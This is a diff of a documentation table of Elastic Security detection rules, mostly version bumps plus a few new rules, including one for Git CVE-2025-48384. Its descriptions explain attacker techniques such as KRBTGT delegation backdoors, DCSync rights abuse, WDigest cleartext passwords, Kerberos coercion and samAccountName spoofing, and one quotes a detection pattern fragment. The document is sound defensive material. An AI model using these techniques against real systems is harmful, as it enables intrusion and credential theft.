 |<<interactive-terminal-spawned-via-python, Interactive Terminal Spawned via Python>> |Identifies when a terminal (tty) is spawned via Python. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |214
 
-|<<krbtgt-delegation-backdoor, KRBTGT Delegation Backdoor>> |Identifies the modification of the msDS-AllowedToDelegateTo attribute to KRBTGT. Attackers can use this technique to maintain persistence to the domain by having the ability to request tickets for the KRBTGT service. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |212
+|<<krbtgt-delegation-backdoor, KRBTGT Delegation Backdoor>> |Identifies the modification of the msDS-AllowedToDelegateTo attribute to KRBTGT. Attackers can use this technique to maintain persistence to the domain by having the ability to request tickets for the KRBTGT service. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |213
 
 |<<kerberos-cached-credentials-dumping, Kerberos Cached Credentials Dumping>> |Identifies the use of the Kerberos credential cache (kcc) utility to dump locally cached Kerberos tickets. Adversaries may attempt to dump credential material in the form of tickets that can be leveraged for lateral movement. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |110
 
@@ -1276,7 +1290,7 @@ and their rule type is `machine_learning`.
 
 |<<microsoft-365-exchange-transport-rule-modification, Microsoft 365 Exchange Transport Rule Modification>> |Identifies when a transport rule has been disabled or deleted in Microsoft 365. Mail flow rules (also known as transport rules) are used to identify and take action on messages that flow through your organization. An adversary or insider threat may modify a transport rule to exfiltrate data or evade defenses. |[Domain: Cloud], [Data Source: Microsoft 365], [Use Case: Configuration Audit], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |210
 
-|<<microsoft-365-global-administrator-role-assigned, Microsoft 365 Global Administrator Role Assigned>> |In Microsoft Entra ID, permissions to manage resources are assigned using roles. The Global Administrator / Company Administrator is a role that enables users to have access to all administrative features in Entra ID and services that use Entra ID identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, and Skype for Business Online. Adversaries can add users as Global Administrators to maintain access and manage all subscriptions and their settings and resources. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |211
+|<<microsoft-365-global-administrator-role-assigned, Microsoft 365 Global Administrator Role Assigned>> |Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles. |[Domain: Cloud], [Domain: SaaS], [Domain: Identity], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |212
 
 |<<microsoft-365-illicit-consent-grant-via-registered-application, Microsoft 365 Illicit Consent Grant via Registered Application>> |Identifies an Microsoft 365 illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources in Microsoft 365. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources in Microsoft 365 on-behalf-of the user. |[Domain: Cloud], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access], [Tactic: Credential Access] |None |5
 
@@ -1318,7 +1332,7 @@ and their rule type is `machine_learning`.
 
 |<<microsoft-entra-id-elevated-access-to-user-access-administrator, Microsoft Entra ID Elevated Access to User Access Administrator>> |Identifies when a user has elevated their access to User Access Administrator for their Azure Resources. The User Access Administrator role allows users to manage user access to Azure resources, including the ability to assign roles and permissions. Adversaries may target an Entra ID Global Administrator or other privileged role to elevate their access to User Access Administrator, which can lead to further privilege escalation and unauthorized access to sensitive resources. This is a New Terms rule that only signals if the user principal name has not been seen doing this activity in the last 14 days. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |2
 
-|<<microsoft-entra-id-exccessive-account-lockouts-detected, Microsoft Entra ID Exccessive Account Lockouts Detected>> |Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |5
+|<<microsoft-entra-id-exccessive-account-lockouts-detected, Microsoft Entra ID Exccessive Account Lockouts Detected>> |Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |6
 
 |<<microsoft-entra-id-high-risk-sign-in, Microsoft Entra ID High Risk Sign-in>> |Identifies high risk Microsoft Entra ID sign-ins by leveraging Microsoft's Identity Protection machine learning and heuristics. Identity Protection categorizes risk into three tiers: low, medium, and high. While Microsoft does not provide specific details about how risk is calculated, each level brings higher confidence that the user or sign-in is compromised. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access] |None |109
 
@@ -1386,7 +1400,7 @@ and their rule type is `machine_learning`.
 
 |<<modification-of-wdigest-security-provider, Modification of WDigest Security Provider>> |Identifies attempts to modify the WDigest security provider in the registry to force the user's password to be stored in clear text in memory. This behavior can be indicative of an adversary attempting to weaken the security configuration of an endpoint. Once the UseLogonCredential value is modified, the adversary may attempt to dump clear text passwords from memory. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint] |None |214
 
-|<<modification-of-the-mspkiaccountcredentials, Modification of the msPKIAccountCredentials>> |Identify the modification of the msPKIAccountCredentials attribute in an Active Directory User Object. Attackers can abuse the credentials roaming feature to overwrite an arbitrary file for privilege escalation. ms-PKI-AccountCredentials contains binary large objects (BLOBs) of encrypted credential objects from the credential manager store, private keys, certificates, and certificate requests. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Data Source: Active Directory], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |117
+|<<modification-of-the-mspkiaccountcredentials, Modification of the msPKIAccountCredentials>> |Identify the modification of the msPKIAccountCredentials attribute in an Active Directory User Object. Attackers can abuse the credentials roaming feature to overwrite an arbitrary file for privilege escalation. ms-PKI-AccountCredentials contains binary large objects (BLOBs) of encrypted credential objects from the credential manager store, private keys, certificates, and certificate requests. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Data Source: Active Directory], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |118
 
 |<<modification-or-removal-of-an-okta-application-sign-on-policy, Modification or Removal of an Okta Application Sign-On Policy>> |Detects attempts to modify or delete a sign on policy for an Okta application. An adversary may attempt to modify or delete the sign on policy for an Okta application in order to remove or weaken an organization's security controls. |[Tactic: Persistence], [Use Case: Identity and Access Audit], [Data Source: Okta], [Resources: Investigation Guide] |None |413
 
@@ -1410,9 +1424,11 @@ and their rule type is `machine_learning`.
 
 |<<multiple-device-token-hashes-for-single-okta-session, Multiple Device Token Hashes for Single Okta Session>> |This rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Domain: SaaS], [Resources: Investigation Guide] |None |310
 
-|<<multiple-logon-failure-followed-by-logon-success, Multiple Logon Failure Followed by Logon Success>> |Identifies multiple logon failures followed by a successful one from the same source address. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |115
+|<<multiple-elastic-defend-alerts-by-agent, Multiple Elastic Defend Alerts by Agent>> |This rule uses alert data to determine when multiple alerts from Elastic Defend involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. |[Use Case: Threat Detection], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide], [Data Source: Elastic Defend] |None |2
+
+|<<multiple-logon-failure-followed-by-logon-success, Multiple Logon Failure Followed by Logon Success>> |Identifies multiple logon failures followed by a successful one from the same source address. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |116
 
-|<<multiple-logon-failure-from-the-same-source-address, Multiple Logon Failure from the same Source Address>> |Identifies multiple consecutive logon failures from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |114
+|<<multiple-logon-failure-from-the-same-source-address, Multiple Logon Failure from the same Source Address>> |Identifies multiple consecutive logon failures from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |115
 
 |<<multiple-microsoft-365-user-account-lockouts-in-short-time-window, Multiple Microsoft 365 User Account Lockouts in Short Time Window>> |Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Resources: Investigation Guide] |None |6
 
@@ -1426,7 +1442,7 @@ and their rule type is `machine_learning`.
 
 |<<multiple-okta-user-authentication-events-with-same-device-token-hash, Multiple Okta User Authentication Events with Same Device Token Hash>> |Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Resources: Investigation Guide] |None |209
 
-|<<multiple-vault-web-credentials-read, Multiple Vault Web Credentials Read>> |Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |115
+|<<multiple-vault-web-credentials-read, Multiple Vault Web Credentials Read>> |Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |116
 
 |<<my-first-rule, My First Rule>> |This rule helps you test and practice using alerts with Elastic Security as you get set up. It’s not a sign of threat activity. |[Use Case: Guided Onboarding], [Resources: Investigation Guide] |None |5
 
@@ -1514,6 +1530,8 @@ and their rule type is `machine_learning`.
 
 |<<okta-fastpass-phishing-detection, Okta FastPass Phishing Detection>> |Detects when Okta FastPass prevents a user from authenticating to a phishing website. |[Tactic: Initial Access], [Use Case: Identity and Access Audit], [Data Source: Okta], [Resources: Investigation Guide] |None |310
 
+|<<okta-multiple-os-names-detected-for-a-single-dt-hash, Okta Multiple OS Names Detected for a Single DT Hash>> |Identifies when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token and is using it to impersonate a legitimate user from a different machine. |[Domain: Identity], [Data Source: Okta], [Data Source: Okta System Logs], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1
+
 |<<okta-sign-in-events-via-third-party-idp, Okta Sign-In Events via Third-Party IdP>> |Detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP). |[Use Case: Identity and Access Audit], [Tactic: Initial Access], [Data Source: Okta], [Resources: Investigation Guide] |None |210
 
 |<<okta-threatinsight-threat-suspected-promotion, Okta ThreatInsight Threat Suspected Promotion>> |Okta ThreatInsight is a feature that provides valuable debug data regarding authentication and authorization processes, which is logged in the system. Within this data, there is a specific field called threat_suspected, which represents Okta's internal evaluation of the authentication or authorization workflow. When this field is set to True, it suggests the presence of potential credential access techniques, such as password-spraying, brute-forcing, replay attacks, and other similar threats. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Resources: Investigation Guide] |None |412
@@ -1528,10 +1546,12 @@ and their rule type is `machine_learning`.
 
 |<<openssl-client-or-server-activity, Openssl Client or Server Activity>> |This rule identifies when the openssl client or server is used to establish a connection. Attackers may use openssl to establish a secure connection to a remote server or to create a secure server to receive connections. This activity may be used to exfiltrate data or establish a command and control channel. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |106
 
-|<<outbound-scheduled-task-activity-via-powershell, Outbound Scheduled Task Activity via PowerShell>> |Identifies the PowerShell process loading the Task Scheduler COM DLL followed by an outbound RPC network connection within a short time period. This may indicate lateral movement or remote discovery via scheduled tasks. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Sysmon], [Resources: Investigation Guide] |None |212
+|<<outbound-scheduled-task-activity-via-powershell, Outbound Scheduled Task Activity via PowerShell>> |Identifies the PowerShell process loading the Task Scheduler COM DLL followed by an outbound RPC network connection within a short time period. This may indicate lateral movement or remote discovery via scheduled tasks. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Sysmon], [Resources: Investigation Guide] |None |213
 
 |<<outlook-home-page-registry-modification, Outlook Home Page Registry Modification>> |Identifies modifications in registry keys associated with abuse of the Outlook Home Page functionality for command and control or persistence. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Command and Control], [Tactic: Persistence], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |207
 
+|<<panw-and-elastic-defend-command-and-control-correlation, PANW and Elastic Defend - Command and Control Correlation>> |This detection correlates Palo Alto Networks (PANW) command and control events with Elastic Defend network events to identify the source process performing the network activity. |[Domain: Endpoint], [OS: Linux], [OS: Windows], [OS: macOS], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: PAN-OS], [Resources: Investigation Guide] |None |1
+
 |<<parent-process-detected-with-suspicious-windows-process-es, Parent Process Detected with Suspicious Windows Process(es)>> |A machine learning job combination has identified a parent process with one or more suspicious Windows processes that exhibit unusually high malicious probability scores. These process(es) have been classified as malicious in several ways. The process(es) were predicted to be malicious by the ProblemChild supervised ML model. If the anomaly contains a cluster of suspicious processes, each process has the same parent process name, and the aggregate score of the event cluster was calculated to be unusually high by an unsupervised ML model. Such a cluster often contains suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. |[Domain: Endpoint], [OS: Windows], [Use Case: Living off the Land Attack Detection], [Rule Type: ML], [Rule Type: Machine Learning], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |110
 
 |<<parent-process-pid-spoofing, Parent Process PID Spoofing>> |Identifies parent process spoofing used to thwart detection. Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |110
@@ -1598,7 +1618,7 @@ and their rule type is `machine_learning`.
 
 |<<potential-abuse-of-resources-by-high-token-count-and-large-response-sizes, Potential Abuse of Resources by High Token Count and Large Response Sizes>> |Detects potential resource exhaustion or data breach attempts by monitoring for users who consistently generate high input token counts, submit numerous requests, and receive large responses. This behavior could indicate an attempt to overload the system or extract an unusually large amount of data, possibly revealing sensitive information or causing service disruptions. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Potential Overload], [Use Case: Resource Exhaustion], [Mitre Atlas: LLM04], [Resources: Investigation Guide] |None |7
 
-|<<potential-active-directory-replication-account-backdoor, Potential Active Directory Replication Account Backdoor>> |Identifies the modification of the nTSecurityDescriptor attribute in a domain object with rights related to DCSync to a user/computer account. Attackers can use this backdoor to re-obtain access to hashes of any user/computer. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Active Directory], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |108
+|<<potential-active-directory-replication-account-backdoor, Potential Active Directory Replication Account Backdoor>> |Identifies the modification of the nTSecurityDescriptor attribute in a domain object with rights related to DCSync to a user/computer account. Attackers can use this backdoor to re-obtain access to hashes of any user/computer. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Active Directory], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |109
 
 |<<potential-admin-group-account-addition, Potential Admin Group Account Addition>> |Identifies attempts to add an account to the admin group via the command line. This could be an indication of privilege escalation activity. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |210
 
@@ -1690,7 +1710,7 @@ and their rule type is `machine_learning`.
 
 |<<potential-execution-via-filefix-phishing-attack, Potential Execution via FileFix Phishing Attack>> |Identifies the execution of Windows commands or downloaded files via the browser's dialog box. Adversaries may use phishing to instruct the victim to copy and paste malicious commands for execution via crafted phsihing web pages. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Initial Access], [Tactic: Defense Evasion], [Data Source: Windows Security Event Logs], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Microsoft Defender for Endpoint], [Resources: Investigation Guide] |None |1
 
-|<<potential-execution-via-xzbackdoor, Potential Execution via XZBackdoor>> |It identifies potential malicious shell executions through remote SSH and detects cases where the sshd service suddenly terminates soon after successful execution, suggesting suspicious behavior similar to the XZ backdoor. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Persistence], [Tactic: Lateral Movement], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8
+|<<potential-execution-via-xzbackdoor, Potential Execution via XZBackdoor>> |It identifies potential malicious shell executions through remote SSH and detects cases where the sshd service suddenly terminates soon after successful execution, suggesting suspicious behavior similar to the XZ backdoor. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Persistence], [Tactic: Lateral Movement], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |9
 
 |<<potential-exploitation-of-an-unquoted-service-path-vulnerability, Potential Exploitation of an Unquoted Service Path Vulnerability>> |Adversaries may leverage unquoted service path vulnerabilities to escalate privileges. By placing an executable in a higher-level directory within the path of an unquoted service executable, Windows will natively launch this executable from its defined path variable instead of the benign one in a deeper directory, thus leading to code execution. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Data Source: Sysmon], [Data Source: Windows Security Event Logs], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |209
 
@@ -1706,6 +1726,8 @@ and their rule type is `machine_learning`.
 
 |<<potential-foxmail-exploitation, Potential Foxmail Exploitation>> |Identifies the Foxmail client spawning a child process with argument pointing to the Foxmail temp directory. This may indicate the successful exploitation of a Foxmail vulnerability for initial access and execution via a malicious email. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Windows Security Event Logs], [Data Source: Elastic Endgame], [Data Source: SentinelOne], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |206
 
+|<<potential-git-cve-2025-48384-exploitation, Potential Git CVE-2025-48384 Exploitation>> |This rule detects potential exploitation of CVE-2025-48384 via Git. This vulnerability allows attackers to execute arbitrary code by leveraging Git's recursive clone feature to fetch and execute malicious scripts from a remote repository. |[Domain: Endpoint], [OS: Linux], [OS: macOS], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Auditd Manager], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |1
+
 |<<potential-hex-payload-execution-via-command-line, Potential Hex Payload Execution via Command-Line>> |This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |3
 
 |<<potential-hex-payload-execution-via-common-utility, Potential Hex Payload Execution via Common Utility>> |This rule detects potential hex payload execution on Linux systems. Adversaries may use hex encoding to obfuscate payloads and evade detection mechanisms. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105
@@ -1724,7 +1746,7 @@ and their rule type is `machine_learning`.
 
 |<<potential-kerberos-attack-via-bifrost, Potential Kerberos Attack via Bifrost>> |Identifies use of Bifrost, a known macOS Kerberos pentesting tool, which can be used to dump cached Kerberos tickets or attempt unauthorized authentication techniques such as pass-the-ticket/hash and kerberoasting. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Lateral Movement], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |110
 
-|<<potential-kerberos-coercion-via-dns-based-spn-spoofing, Potential Kerberos Coercion via DNS-Based SPN Spoofing>> |Identifies the creation of a DNS record containing a base64-encoded blob matching the pattern "UWhRCA...BAAAA". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure, commonly used in Kerberos coercion attacks. It is associated with tools and techniques that exploit SPN spoofing via DNS. Adversaries may abuse this to coerce victim systems into authenticating to attacker-controlled hosts while requesting Kerberos tickets for legitimate services (often the victim's own identity). This enables reflective Kerberos relay attacks, potentially resulting in privileged access such as NT AUTHORITY\SYSTEM, without relying on NTLM fallback. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Active Directory], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |1
+|<<potential-kerberos-coercion-via-dns-based-spn-spoofing, Potential Kerberos Coercion via DNS-Based SPN Spoofing>> |Identifies the creation of a DNS record containing a base64-encoded blob matching the pattern "UWhRCA...BAAAA". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure, commonly used in Kerberos coercion attacks. It is associated with tools and techniques that exploit SPN spoofing via DNS. Adversaries may abuse this to coerce victim systems into authenticating to attacker-controlled hosts while requesting Kerberos tickets for legitimate services (often the victim's own identity). This enables reflective Kerberos relay attacks, potentially resulting in privileged access such as NT AUTHORITY\SYSTEM, without relying on NTLM fallback. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Active Directory], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |2
 
 |<<potential-kerberos-relay-attack-against-a-computer-account, Potential Kerberos Relay Attack against a Computer Account>> |Detects potential relay attacks by identifying coercion attempts followed by authentication events using a target server's computer account, originating from a different host. This may indicate that an attacker has captured and relayed the server's computer account hash to execute code on behalf of the compromised system. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Data Source: Active Directory], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |1
 
@@ -1758,7 +1780,7 @@ and their rule type is `machine_learning`.
 
 |<<potential-local-ntlm-relay-via-http, Potential Local NTLM Relay via HTTP>> |Identifies attempt to coerce a local NTLM authentication via HTTP using the Windows Printer Spooler service as a target. An adversary may use this primitive in combination with other techniques to elevate privileges on a compromised system. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |315
 
-|<<potential-machine-account-relay-attack-via-smb, Potential Machine Account Relay Attack via SMB>> |Identifies potential relay attacks against a machine account by identifying network share access events coming from a remote source.ip but using the target server computer account. This may indicate a successful SMB relay attack. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Data Source: Active Directory], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |1
+|<<potential-machine-account-relay-attack-via-smb, Potential Machine Account Relay Attack via SMB>> |Identifies potential relay attacks against a machine account by identifying network share access events coming from a remote source.ip but using the target server computer account. This may indicate a successful SMB relay attack. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Data Source: Active Directory], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |2
 
 |<<potential-malicious-powershell-based-on-alert-correlation, Potential Malicious PowerShell Based on Alert Correlation>> |Identifies PowerShell script blocks associated with multiple distinct detections, indicating likely malicious behavior. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide] |None |4
 
@@ -1884,7 +1906,7 @@ and their rule type is `machine_learning`.
 
 |<<potential-privilege-escalation-via-uid-int-max-bug-detected, Potential Privilege Escalation via UID INT_MAX Bug Detected>> |This rule monitors for the execution of the systemd-run command by a user with a UID that is larger than the maximum allowed UID size (INT_MAX). Some older Linux versions were affected by a bug which allows user accounts with a UID greater than INT_MAX to escalate privileges by spawning a shell through systemd-run. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |10
 
-|<<potential-privileged-escalation-via-samaccountname-spoofing, Potential Privileged Escalation via SamAccountName Spoofing>> |Identifies a suspicious computer account name rename event, which may indicate an attempt to exploit CVE-2021-42278 to elevate privileges from a standard domain user to a user with domain admin privileges. CVE-2021-42278 is a security vulnerability that allows potential attackers to impersonate a domain controller via samAccountName attribute spoofing. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Use Case: Vulnerability], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |213
